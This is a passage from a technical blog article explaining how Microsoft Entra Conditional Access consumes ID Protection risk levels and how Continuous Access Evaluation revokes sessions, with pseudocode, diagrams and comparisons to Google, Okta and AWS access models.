&lt;p&gt;The policy plane is Conditional Access. It is a JSON object at &lt;code&gt;/identity/conditionalAccess/policies/{id}&lt;/code&gt; on the Graph API [@ms-graph-capolicy]. Each policy has &lt;code&gt;displayName&lt;/code&gt;, &lt;code&gt;state&lt;/code&gt; (&lt;code&gt;enabled&lt;/code&gt;, &lt;code&gt;disabled&lt;/code&gt;, &lt;code&gt;enabledForReportingButNotEnforced&lt;/code&gt;), &lt;code&gt;conditions&lt;/code&gt;, &lt;code&gt;grantControls&lt;/code&gt;, and &lt;code&gt;sessionControls&lt;/code&gt;. The conditions block contains the per-policy targeting: which users, which apps, which platforms, which network locations -- and two condition keys named &lt;code&gt;signInRiskLevels&lt;/code&gt; and &lt;code&gt;userRiskLevels&lt;/code&gt;.&lt;/p&gt;

**Sign-in risk** is a per-sign-in probability that the credential being used is being used by someone other than the legitimate owner *at this moment*. **User risk** is a per-user probability that the account itself has been compromised over its recent history. A user with leaked credentials in a breach corpus carries persistent user risk until the password is reset; a user signing in from an anonymizing proxy carries sign-in risk for that session. CA policies can match on either, both, or neither. Risk-based conditions require Entra ID P2 [@ms-id-protection-policies].
&lt;p&gt;Those two condition keys -- &lt;code&gt;signInRiskLevels&lt;/code&gt; and &lt;code&gt;userRiskLevels&lt;/code&gt; -- are the entire API surface between the signal plane and the policy plane. Everything else about ID Protection is hidden behind them. The policy plane does not know whether &lt;code&gt;high&lt;/code&gt; came from a transformer or a logistic regression or a hardcoded rule. The signal plane does not know which policies will read its output. The contract is two strings.&lt;/p&gt;

flowchart LR
    subgraph SP[Signal plane Entra ID Protection]
        DET[Detection pipeline]
        RD[(riskDetection log)]
        RL[Risk level low medium high]
    end
    subgraph PP[Policy plane Conditional Access]
        EV[Policy evaluator]
        POL[(conditionalAccessPolicy JSON)]
        TOK[Token issuer]
    end
    subgraph SES[Session plane CAE]
        CH[Critical event channel]
        RP[Resource API]
    end
    DET --&amp;gt; RD
    DET --&amp;gt; RL
    RL -. signInRiskLevels userRiskLevels .-&amp;gt; EV
    POL --&amp;gt; EV
    EV --&amp;gt; TOK
    TOK -- access token --&amp;gt; RP
    DET -. user risk events .-&amp;gt; CH
    CH -. 401 insufficient claims .-&amp;gt; RP
&lt;h3&gt;Why the separation matters&lt;/h3&gt;
&lt;p&gt;Three concrete consequences fall out of the design:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The risk model is re-trainable without policy rewrites.&lt;/strong&gt; Microsoft&apos;s ID Protection team can change the underlying detection algorithm tomorrow. Add a new &lt;code&gt;riskEventType&lt;/code&gt;. Replace the classifier for &lt;code&gt;unlikelyTravel&lt;/code&gt;. Re-tune the threshold that maps a score to &lt;code&gt;low&lt;/code&gt;/&lt;code&gt;medium&lt;/code&gt;/&lt;code&gt;high&lt;/code&gt;. None of these require tenants to rewrite their CA policies, because policies match on the &lt;em&gt;level&lt;/em&gt;, not the &lt;em&gt;signal&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tenants without the licence simply do not use the risk conditions.&lt;/strong&gt; An Entra ID P1 tenant can deploy CA policies that match on users, apps, locations, devices, client apps, and platforms. P2 unlocks the risk conditions. The schema accommodates both: P1 policies just leave the risk arrays empty. There is no parallel policy surface for the non-risk-aware tenants; they use the same engine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CAE is a third plane layered onto the same skeleton.&lt;/strong&gt; Continuous Access Evaluation did not require redesign of the policy plane. The CAE channel is a new &lt;em&gt;event delivery&lt;/em&gt; mechanism; the events it propagates are things the signal plane already knew about (high user risk, password reset, account disabled) plus new ones the policy plane introduced (network-location-policy changed). The architecture absorbed CAE because the design was already a separation of concerns.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The signal plane and the policy plane are separable; the contract between them is &lt;em&gt;two condition keys&lt;/em&gt; (&lt;code&gt;signInRiskLevels&lt;/code&gt; and &lt;code&gt;userRiskLevels&lt;/code&gt;). That is what makes the system maintainable across a decade of evolution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;The &quot;pit of success&quot; framing&lt;/h3&gt;
&lt;p&gt;Alex Weinert calls this the &quot;pit of success.&quot; His November 2023 piece on Microsoft-managed policies put the metric on it: a decade ago Microsoft turned on a &quot;radical&quot; tenant-wide policy requiring MFA for every consumer Microsoft account, and &quot;today, 100 percent of consumer Microsoft accounts older than 60 days have multifactor authentication&quot; [@weinert-2023-managed-policies].&lt;/p&gt;
&lt;p&gt;The 100 percent number is achievable because the policy plane and the signal plane can each evolve independently. Microsoft can ship a managed policy that says &quot;require MFA for high-risk sign-ins&quot; without committing to a fixed definition of &quot;high risk.&quot; The definition lives on the signal plane and changes weekly. The policy lives on the policy plane and is stable for years.&lt;/p&gt;
&lt;p&gt;With the separation as the spine, the next section walks the end-to-end pipeline in one continuous trace, from signal to grant to token to session, on a real sign-in -- the trace no public Microsoft document assembles in one place.&lt;/p&gt;
&lt;h2&gt;6. The end-to-end pipeline&lt;/h2&gt;
&lt;p&gt;Take Alice&apos;s Tuesday morning from Section 1 and walk it forward. This section has six subsections. By the end of them, the question &quot;who decided?&quot; has six independently sourced answers and one combined picture.&lt;/p&gt;
&lt;h3&gt;6.1 What the signal plane sees&lt;/h3&gt;
&lt;p&gt;Identity Protection&apos;s detection taxonomy splits into five rough groups, based on what kind of information triggered the detection. The canonical taxonomy is the Microsoft Learn page on risk types [@ms-id-protection-risks]; the wire-format enum on the Graph schema is at [@ms-graph-riskdetection].&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Network signals.&lt;/em&gt; &lt;code&gt;anonymizedIPAddress&lt;/code&gt;, &lt;code&gt;maliciousIPAddress&lt;/code&gt;, &lt;code&gt;nationStateIP&lt;/code&gt;, &lt;code&gt;riskyIPAddress&lt;/code&gt;. The signal is the source IP and reputation databases that ID Protection ingests.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Behavioural signals.&lt;/em&gt; &lt;code&gt;unlikelyTravel&lt;/code&gt;, &lt;code&gt;mcasImpossibleTravel&lt;/code&gt;, &lt;code&gt;newCountry&lt;/code&gt;, &lt;code&gt;unfamiliarFeatures&lt;/code&gt;, &lt;code&gt;anomalousUserActivity&lt;/code&gt;. The signal is a deviation from the tenant&apos;s or the user&apos;s historical baseline.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Credential signals.&lt;/em&gt; &lt;code&gt;leakedCredentials&lt;/code&gt;, &lt;code&gt;passwordSpray&lt;/code&gt;. The signal is a match against a corpus of breached credentials or a velocity-based pattern across tenants.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Token and session signals.&lt;/em&gt; &lt;code&gt;anomalousToken&lt;/code&gt;, &lt;code&gt;tokenIssuerAnomaly&lt;/code&gt;, &lt;code&gt;attemptedPrtAccess&lt;/code&gt;, &lt;code&gt;attackerinTheMiddle&lt;/code&gt;, &lt;code&gt;authenticatorPhishing&lt;/code&gt;. The signal is on the token itself or on the way the authenticator flow ran.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Inbox behaviour.&lt;/em&gt; &lt;code&gt;suspiciousInboxForwarding&lt;/code&gt;, &lt;code&gt;mcasSuspiciousInboxManipulationRules&lt;/code&gt;. The signal is on what happened &lt;em&gt;after&lt;/em&gt; the sign-in -- a post-compromise indicator that retroactively flags the sign-in that enabled it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each detection is also tagged with a timing: real-time, near-real-time, or offline. Microsoft Learn is precise about the latencies: &quot;Detections triggered in real-time take 5-10 minutes to surface details in the reports. Offline detections take up to 48 hours&quot; [@ms-risk-detection-types].&lt;/p&gt;
&lt;p&gt;The detection is mapped to a risk &lt;em&gt;level&lt;/em&gt;, not a probability. Microsoft Learn calls the level &quot;calculated by our machine learning algorithms&quot; and explicitly notes the meaning: low/medium/high &quot;represent how confident Microsoft is that one or more of the user&apos;s credentials are known by an unauthorized entity&quot; [@ms-risk-detection-types].&quot;Confidence&quot; here is meant in the everyday sense, not the strict statistical sense of a confidence interval. Microsoft has not published a calibration study that would let you map a &quot;high&quot; risk level to a frequentist probability of compromise.&lt;/p&gt;
&lt;p&gt;The figure you sometimes see in Microsoft marketing materials -- &quot;more than 100 trillion signals processed per day&quot; [@ms-managed-policies], or, in older sources, &quot;78 trillion&quot; [@ms-id-protection-overview] -- is the &lt;em&gt;aggregate signal volume across all tenants and product surfaces&lt;/em&gt;, not per-sign-in features per user. The article keeps the two carefully separate.&lt;/p&gt;
&lt;p&gt;Microsoft has not publicly disclosed the production model architecture, the feature vector size, or per-detection precision and recall. The 2021 Microsoft Security Blog interview with Maria Puertas Calvo describes the existence of the ML team and the operational scale (&quot;hundreds of terabytes every day&quot;) but stops well short of architecture details [@ms-puertas-calvo-interview]. The model class is publicly unspecified; the taxonomy and the operating output are both public.&lt;/p&gt;
&lt;h3&gt;6.2 How risk surfaces&lt;/h3&gt;
&lt;p&gt;Two parallel logs matter for risk. The Sign-in log is the universe: every interactive and non-interactive sign-in produces an entry. The &lt;code&gt;riskDetections&lt;/code&gt; log is the &lt;em&gt;sparse overlay&lt;/em&gt;: a &lt;code&gt;riskDetection&lt;/code&gt; is emitted only when a detection fires for the sign-in. Most sign-ins produce a Sign-in log entry with no corresponding &lt;code&gt;riskDetection&lt;/code&gt;. Only flagged sign-ins do [@ms-graph-riskdetection].&lt;/p&gt;
&lt;p&gt;This is a common source of confusion. It is tempting to assume &quot;ID Protection scored every sign-in,&quot; and in a sense it did -- the detectors ran -- but the &lt;em&gt;durable artefact&lt;/em&gt; exists only when at least one detector fired. To compute a per-sign-in distribution of risk you need to &lt;em&gt;join&lt;/em&gt; the Sign-in log with the riskDetections log and treat the unjoined rows as &quot;no risk flagged at the moment of issuance.&quot;&lt;/p&gt;
&lt;p&gt;There is one more wrinkle. The detection taxonomy on the Microsoft Learn concept page and the &lt;code&gt;riskEventType&lt;/code&gt; enum on the Graph schema are not perfectly aligned. The concept page lists &lt;code&gt;mcasImpossibleTravel&lt;/code&gt; and &lt;code&gt;authenticatorPhishing&lt;/code&gt; as named detection types; the Graph enum lists &lt;code&gt;impossibleTravel&lt;/code&gt; (without the &lt;code&gt;mcas&lt;/code&gt; prefix). The two surfaces sometimes use different value names for the same logical detection -- a UI display string versus a Graph enum value. Detection engineers writing KQL against the Sign-in logs should account for both.&lt;/p&gt;
&lt;h3&gt;6.3 How CA consumes risk&lt;/h3&gt;
&lt;p&gt;Conditional Access evaluation runs in a fixed order: assignments are checked first (does this sign-in match this policy at all?), then conditions (do all the condition predicates hold?), then grants (which controls are demanded?), then session controls (which token lifetime, sign-in frequency, persistent browser).&lt;/p&gt;
&lt;p&gt;The key semantic, repeated across the Microsoft Learn documentation: a &lt;em&gt;block&lt;/em&gt; grant in any policy matching the sign-in overrides any allow grant in any other policy. The policy plane is not just additive; it has an explicit precedence rule.&lt;/p&gt;

flowchart TD
    A[Sign-in request] --&amp;gt; B[First-factor auth]
    B --&amp;gt; C[Enumerate matching policies]
    C --&amp;gt; D{Any policy matches?}
    D -- No --&amp;gt; E[Default allow with token]
    D -- Yes --&amp;gt; F[Evaluate conditions per policy]
    F --&amp;gt; G{Block grant in any match?}
    G -- Yes --&amp;gt; H[Deny access return error]
    G -- No --&amp;gt; I[Aggregate required grants]
    I --&amp;gt; J{All grants satisfied?}
    J -- No --&amp;gt; K[Issue challenge MFA or device]
    J -- Yes --&amp;gt; L[Apply session controls]
    L --&amp;gt; M[Issue access token]
&lt;p&gt;The pseudocode below is a compressed restatement of that flow. It is not Microsoft source code; it is the algorithmic shape an admin should keep in their head when reading a policy or debugging a sign-in.&lt;/p&gt;
&lt;p&gt;{`
function evaluate(signin) {
  const matching = allPolicies.filter(p =&amp;gt;
    p.state !== &apos;disabled&apos; &amp;amp;&amp;amp;
    matchesAssignments(p.conditions, signin) &amp;amp;&amp;amp;
    matchesConditions(p.conditions, signin)
  );&lt;/p&gt;
&lt;p&gt;  // Block precedence: any block grant wins
  if (matching.some(p =&amp;gt; p.grantControls.builtInControls.includes(&apos;block&apos;))) {
    return { decision: &apos;DENY&apos;, reason: &apos;block grant matched&apos; };
  }&lt;/p&gt;
&lt;p&gt;  // Aggregate required grants across matching policies
  const requiredGrants = new Set();
  for (const p of matching) {
    for (const g of p.grantControls.builtInControls) requiredGrants.add(g);
    if (p.grantControls.authenticationStrength) {
      requiredGrants.add(&apos;authStrength:&apos; + p.grantControls.authenticationStrength.id);
    }
  }&lt;/p&gt;
&lt;p&gt;  const satisfied = [...requiredGrants].every(g =&amp;gt; signin.satisfies(g));
  if (!satisfied) {
    return { decision: &apos;CHALLENGE&apos;, missing: [...requiredGrants].filter(g =&amp;gt; !signin.satisfies(g)) };
  }&lt;/p&gt;
&lt;p&gt;  // Apply session controls (token lifetime, sign-in frequency, persistent browser)
  const session = mergeSessionControls(matching.map(p =&amp;gt; p.sessionControls));
  return { decision: &apos;ALLOW&apos;, session };
}&lt;/p&gt;
&lt;p&gt;const result = evaluate({
  user: &apos;&lt;a href=&quot;mailto:alice@contoso.com&quot; rel=&quot;noopener&quot;&gt;alice@contoso.com&lt;/a&gt;&apos;,
  app: &apos;Office365 Exchange Online&apos;,
  location: { ip: &apos;203.0.113.42&apos;, country: &apos;PT&apos; },
  device: { compliant: true, joinType: &apos;Entra&apos; },
  signInRisk: &apos;low&apos;,
  userRisk: &apos;none&apos;,
  satisfies(grant) {
    const mfa = [&apos;mfa&apos;, &apos;authStrength:phishingResistantMfa&apos;];
    return mfa.includes(grant) || grant === &apos;compliantDevice&apos;;
  },
});
console.log(JSON.stringify(result, null, 2));
`}&lt;/p&gt;
&lt;p&gt;Risk-based conditions require Entra ID P2 [@ms-id-protection-overview]. Without that licence, the &lt;code&gt;signInRiskLevels&lt;/code&gt; and &lt;code&gt;userRiskLevels&lt;/code&gt; arrays in a policy are ignored. The rest of the engine works the same.&lt;/p&gt;
&lt;h3&gt;6.4 The grants&lt;/h3&gt;
&lt;p&gt;Each policy declares a set of grants. The grants are &lt;em&gt;additive within a policy&lt;/em&gt; (all required to satisfy the policy) but the &lt;em&gt;block grant in any matching policy&lt;/em&gt; takes precedence over allow grants in any other policy. Here are the grants currently in the schema:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Grant&lt;/th&gt;
&lt;th&gt;What it requires&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;block&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deny access.&lt;/td&gt;
&lt;td&gt;Always wins against allow grants.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mfa&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Any MFA method registered for the user.&lt;/td&gt;
&lt;td&gt;The legacy generic-MFA grant; replaced in modern deployments by Authentication Strength.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;requireAuthenticationStrength&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A named bundle of acceptable methods.&lt;/td&gt;
&lt;td&gt;The modern grant. Built-in strengths include phishing-resistant [@ms-auth-strengths].&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;compliantDevice&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The device record has &lt;code&gt;isCompliant: true&lt;/code&gt;.&lt;/td&gt;
&lt;td&gt;Set by Intune or a third-party compliance partner.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;domainJoinedDevice&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hybrid Azure AD joined device.&lt;/td&gt;
&lt;td&gt;Requires Entra Connect on-prem trust.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;approvedApplication&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Use an approved client app.&lt;/td&gt;
&lt;td&gt;A small allow-list of Microsoft mobile apps.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;compliantApplication&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;An app under an Intune App Protection Policy.&lt;/td&gt;
&lt;td&gt;Mobile app management.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;passwordChange&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;User must change their password.&lt;/td&gt;
&lt;td&gt;Used for password-leaked recovery.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;requireTermsOfUse&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;User must accept a terms-of-use document.&lt;/td&gt;
&lt;td&gt;Used for compliance and guest scenarios.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

A named, ordered bundle of acceptable authentication methods that a CA grant can demand. The three built-in strengths are *MFA strength* (any registered second factor), *Passwordless MFA strength* (no password used), and *Phishing-resistant MFA strength* (FIDO2 security key, Windows Hello for Business or a platform credential, or multifactor certificate-based authentication) [@ms-auth-strengths]. The phishing-resistant strength is the canonical modern grant for high-value access.
&lt;p&gt;The Authentication Strength grant is where the phishing-resistance story lives in 2026. A policy that demands the phishing-resistant strength refuses to accept TOTP or SMS or push as the second factor. Only credentials with cryptographic binding to the device or hardware token will satisfy the grant. That class of credential, by construction, cannot be replayed by an adversary-in-the-middle phishing kit -- because the underlying &lt;a href=&quot;https://paragmali.com/blog/webauthn-and-passkeys-on-windows-from-ctap-to-the-credential/&quot; rel=&quot;noopener&quot;&gt;WebAuthn&lt;/a&gt; ceremony is bound to the origin of the relying party.&lt;/p&gt;
&lt;h3&gt;6.5 The Windows-side handoff&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://paragmali.com/blog/inside-the-primary-refresh-token-the-cryptographic-seam-betw/&quot; rel=&quot;noopener&quot;&gt;PRT&lt;/a&gt; issuance is an interactive sign-in. It goes through CA like any other.&lt;/p&gt;

A long-lived refresh token issued to a Windows session at user sign-in to Entra-joined or hybrid-Entra-joined devices. The PRT is bound to the device&apos;s TPM where one is available, and it grants the user single sign-on to all CA-targeted apps from that Windows session. Issuance is subject to CA evaluation; if a CA policy demands compliant device, the device must already be marked `isCompliant` before the PRT is issued.
&lt;p&gt;The compliance state lands on the device object as &lt;code&gt;isCompliant&lt;/code&gt;. Intune (or a third-party MDM through Intune&apos;s compliance-partner API) writes that field after evaluating the device against a compliance policy: disk encrypted, OS patched, antivirus running, jailbreak detection clean, and so on. CA reads it on subsequent policy evaluations. If a policy requires &lt;code&gt;compliantDevice&lt;/code&gt; and the device object says &lt;code&gt;isCompliant: false&lt;/code&gt;, the grant is not satisfied.&lt;/p&gt;
&lt;p&gt;The operational seam to on-prem Active Directory runs the other direction. &lt;a href=&quot;https://paragmali.com/blog/kerberos-in-windows-the-other-half-of-ntlmless/&quot; rel=&quot;noopener&quot;&gt;Kerberos&lt;/a&gt; and &lt;a href=&quot;https://paragmali.com/blog/ntlmless-the-death-of-ntlm-in-windows/&quot; rel=&quot;noopener&quot;&gt;NTLM&lt;/a&gt; against on-prem domain controllers never consult Entra. The Microsoft Learn CA overview is explicit: CA is a &lt;em&gt;cloud control plane&lt;/em&gt;; on-prem authentication is outside its scope [@ms-ca-overview]. This is the limit Section 8 will name precisely.&lt;/p&gt;
&lt;h3&gt;6.6 CAE in session&lt;/h3&gt;
&lt;p&gt;The third plane. Wire format lives in two Microsoft Learn pages: the claims-challenge page [@ms-claims-challenge] and the app-resilience CAE page [@ms-app-resilience-cae].&lt;/p&gt;
&lt;p&gt;A client opts in to CAE by advertising the &lt;code&gt;cp1&lt;/code&gt; capability via the &lt;code&gt;xms_cc&lt;/code&gt; claim in token requests. In MSAL, that opt-in looks like &lt;code&gt;WithClientCapabilities(new[] { &quot;cp1&quot; })&lt;/code&gt; [@ms-app-resilience-cae]. The Microsoft Learn claims-challenge page says it cleanly: &quot;The only currently known value is &lt;code&gt;cp1&lt;/code&gt;&quot; [@ms-claims-challenge].&lt;/p&gt;
&lt;p&gt;When the policy plane sees a critical event after the token was issued, the resource API responds to the next call with &lt;code&gt;HTTP 401 Unauthorized&lt;/code&gt; and a &lt;code&gt;WWW-Authenticate&lt;/code&gt; header of the shape:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer authorization_uri=&quot;&amp;lt;entra-authorize-endpoint&amp;gt;&quot;, error=&quot;insufficient_claims&quot;, claims=&quot;&amp;lt;base64-encoded JSON&amp;gt;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;claims&lt;/code&gt; value is a base64-encoded JSON object that the client passes verbatim to the token endpoint when acquiring a fresh token [@ms-claims-challenge][@ms-app-resilience-cae]. The IdP evaluates the embedded claims, runs CA again with the new context, and issues a new token (or refuses).&lt;/p&gt;

The HTTP wire format CAE uses to revoke a session mid-flight. A CAE-aware resource API returns `HTTP 401` with `WWW-Authenticate: Bearer error=&quot;insufficient_claims&quot;, claims=&quot;&quot;`. The client replays the base64 blob to Entra; Entra re-runs CA with the new context; the client receives a fresh token or a definitive refusal. The wire format is documented at [@ms-claims-challenge] and demonstrated at [@ms-app-resilience-cae].
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The CAE-aware capability is signalled by the &lt;em&gt;client&lt;/em&gt;, not by the &lt;em&gt;token&lt;/em&gt;. The client advertises &lt;code&gt;cp1&lt;/code&gt; via &lt;code&gt;xms_cc&lt;/code&gt;; the token&apos;s CAE-awareness shows up as its lifetime (up to 28 hours) and the resource API&apos;s willingness to issue a claims challenge. Folk knowledge that says &quot;look for a &lt;code&gt;cae&lt;/code&gt; claim in the JWT&quot; is incorrect.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The Microsoft Learn CAE document enumerates five critical events: account disabled or deleted, password change or reset, MFA enabled by an administrator, administrator token revocation, and high user risk detected by ID Protection [@ms-cae-concept]. A parallel pathway, &lt;em&gt;Conditional Access policy evaluation&lt;/em&gt;, propagates network-location and policy changes to CAE-aware resource providers on the same channel. For IP-location changes the latency is &quot;instant&quot;; for everything else the ceiling is up to 15 minutes [@ms-cae-concept].&lt;/p&gt;

sequenceDiagram
    participant C as Client app
    participant R as Resource API CAE aware
    participant E as Entra token issuer
    participant P as ID Protection
    Note over C: Client holds long-lived CAE token
    C-&amp;gt;&amp;gt;R: GET messages with bearer token
    R-&amp;gt;&amp;gt;R: Token still cryptographically valid
    P-&amp;gt;&amp;gt;E: High user risk event for Alice
    E-&amp;gt;&amp;gt;R: Push critical event Alice high risk
    C-&amp;gt;&amp;gt;R: GET messages with bearer token again
    R-&amp;gt;&amp;gt;C: 401 WWW-Authenticate insufficient_claims claims base64
    C-&amp;gt;&amp;gt;E: Token request with claims blob and cp1 capability
    E-&amp;gt;&amp;gt;E: Re-run CA with new context
    E--&amp;gt;&amp;gt;C: New token or definitive refusal
    C-&amp;gt;&amp;gt;R: Retry with new token
&lt;p&gt;{`
// Simplified MSAL.js-shaped pseudocode for CAE opt-in and challenge handling
const ENTRA_AUTHORITY = &apos;&apos;;
const EXCHANGE_ENDPOINT = &apos;&apos;;
const MAIL_READ_SCOPE = &apos;&apos;;&lt;/p&gt;
&lt;p&gt;const msal = new PublicClientApplication({
  auth: { clientId: &apos;&apos;, authority: ENTRA_AUTHORITY },
});&lt;/p&gt;
&lt;p&gt;async function callExchange() {
  let token = await msal.acquireTokenSilent({
    scopes: [MAIL_READ_SCOPE],
    clientCapabilities: [&apos;cp1&apos;], // advertise CAE awareness
  });&lt;/p&gt;
&lt;p&gt;  let res = await fetch(EXCHANGE_ENDPOINT, {
    headers: { Authorization: &apos;Bearer &apos; + token.accessToken },
  });&lt;/p&gt;
&lt;p&gt;  if (res.status === 401) {
    const header = res.headers.get(&apos;WWW-Authenticate&apos;) || &apos;&apos;;
    const m = /claims=&quot;([^&quot;]+)&quot;/.exec(header);
    if (m) {
      // Replay the embedded claims to acquire a fresh token
      token = await msal.acquireTokenSilent({
        scopes: [MAIL_READ_SCOPE],
        claims: Buffer.from(m[1], &apos;base64&apos;).toString(&apos;utf8&apos;),
        clientCapabilities: [&apos;cp1&apos;],
      });
      res = await fetch(EXCHANGE_ENDPOINT, {
        headers: { Authorization: &apos;Bearer &apos; + token.accessToken },
      });
    }
  }&lt;/p&gt;
&lt;p&gt;  console.log(&apos;HTTP&apos;, res.status);
}&lt;/p&gt;
&lt;p&gt;callExchange();
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; CAE inverts the conventional trade-off: lengthen the token, shorten the revocation. The token can live 28 hours because revocation is an event, not a clock.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The chain is now visible. The signal plane scored Alice&apos;s Tuesday sign-in. The policy plane evaluated the policies. The token issuer issued an access token (CAE-aware because Outlook advertises &lt;code&gt;cp1&lt;/code&gt;). Exchange Online accepted the token and returned mail. If, twelve minutes from now, Alice&apos;s account is flagged high risk because a different sign-in attempt fires &lt;code&gt;leakedCredentials&lt;/code&gt;, the critical event will fire, Exchange will issue a claims challenge, and Outlook will either acquire a fresh token (passing the new CA evaluation) or surface the refusal to the user.&lt;/p&gt;
&lt;p&gt;Six independent components co-decided on one access event. Microsoft is one vendor. The same problem has been solved differently by Google, Okta, AWS, Cloudflare, and Zscaler. The Microsoft answer is not the only correct answer.&lt;/p&gt;
&lt;h2&gt;7. How others do it&lt;/h2&gt;
&lt;p&gt;Microsoft chose to enforce at &lt;em&gt;token issuance and claims challenge&lt;/em&gt;. Google chose to enforce at &lt;em&gt;every HTTP request via a reverse proxy&lt;/em&gt;. AWS chose a decidable policy DSL. These are not minor variations; they are different answers to &quot;where does the policy engine live in the data path?&quot;&lt;/p&gt;
&lt;p&gt;Both Microsoft&apos;s and Google&apos;s models scale. Neither is strictly better. The choice is a function of what the enterprise already runs.&lt;/p&gt;
&lt;h3&gt;Google BeyondCorp, IAP, Chrome Enterprise Premium&lt;/h3&gt;
&lt;p&gt;Google&apos;s Identity-Aware Proxy puts the policy engine in the data path. The documentation calls it bluntly: &quot;IAP lets you establish a central authorization layer for applications accessed by HTTPS, so you can use an application-level access control model instead of relying on network-level firewalls&quot; [@google-iap]. Every HTTP request to an IAP-protected app passes through the proxy. The proxy authenticates the user (via Google Account, Workforce Identity Federation, or Identity Platform), evaluates a Common Expression Language policy against the request context, and -- on allow -- forwards the request to the backend with signed identity headers.&lt;/p&gt;
&lt;p&gt;The BeyondCorp Enterprise product (recently rebranded as Chrome Enterprise Premium) layers context-aware access on top: device posture, geographic location, time of day [@google-bce-overview]. The architecture matches the 2014 USENIX paper [@ward-beyer-2014-beyondcorp] and the 2016 production follow-up [@osborn-2016-beyondcorp].&lt;/p&gt;
&lt;p&gt;The strength is per-request authorization: every HTTP call is its own decision point. The weakness, from the M365 perspective, is that IAP does not gate Microsoft 365 first-party API traffic. The Outlook client does not route through Google&apos;s IAP; it routes through Entra and Exchange Online. For Microsoft 365 workloads, IAP is complementary at best.&lt;/p&gt;
&lt;h3&gt;Okta Identity Engine and ThreatInsight&lt;/h3&gt;
&lt;p&gt;Okta&apos;s policy engine is closer to Microsoft&apos;s structurally: the identity provider is the policy engine, app sign-on policies live on the IdP, and the resource side relies on the IdP&apos;s token rather than a per-request proxy. The Okta Identity Engine documents the rule shape: &quot;App sign-in policies define how a user must authenticate to gain access to an app. They verify ... group membership, the IP zone they&apos;re signing in from, risk level, and others&quot; [@okta-sign-on-policies]. Every new app gets a default policy with a single catch-all rule that allows access with two factors.&lt;/p&gt;
&lt;p&gt;Okta ThreatInsight is the IP-reputation feed. The documentation describes it operationally: &quot;Okta ThreatInsight aggregates data about sign-in activity across the Okta customer base to analyze and detect potentially malicious IP addresses ... password spraying, credential stuffing, brute-force cryptographic attacks&quot; [@okta-threatinsight]. The signal coverage is narrower than ID Protection: ThreatInsight is IP-centric, where ID Protection runs a multi-detection ML pipeline on tokens, sessions, behaviour, and credentials.&lt;/p&gt;
&lt;h3&gt;AWS IAM Identity Center and Verified Access&lt;/h3&gt;
&lt;p&gt;AWS splits the problem. IAM Identity Center handles workforce SSO and trusted identity propagation to AWS services [@aws-iam-identity-center]. AWS Verified Access handles per-request authorization for HTTPS-fronted apps -- the ZTNA piece. The Verified Access docs put it plainly: &quot;Verified Access evaluates each application access request in real time&quot; and &quot;verifies the trustworthiness of users and devices against a set of security requirements&quot; [@aws-verified-access].&lt;/p&gt;
&lt;p&gt;The interesting bit is the policy language: Cedar. Cedar is a deliberately decidable language for authorization policy. &quot;Decidable&quot; here is a precise term: the safety question (will some policy edit, in some future edit chain, leak this right?) is answerable by a static analyser for any Cedar policy [@cedar-security].&lt;/p&gt;
&lt;p&gt;Cedar&apos;s intentional non-Turing-completeness is the language-design hedge against the Harrison-Ruzzo-Ullman undecidability result the next section will name. The trade-off is expressiveness: Cedar cannot express arbitrary computational predicates, which is the price of being analysable [@cedar-security].&lt;/p&gt;
&lt;h3&gt;Cloudflare Access and Zscaler Private Access&lt;/h3&gt;
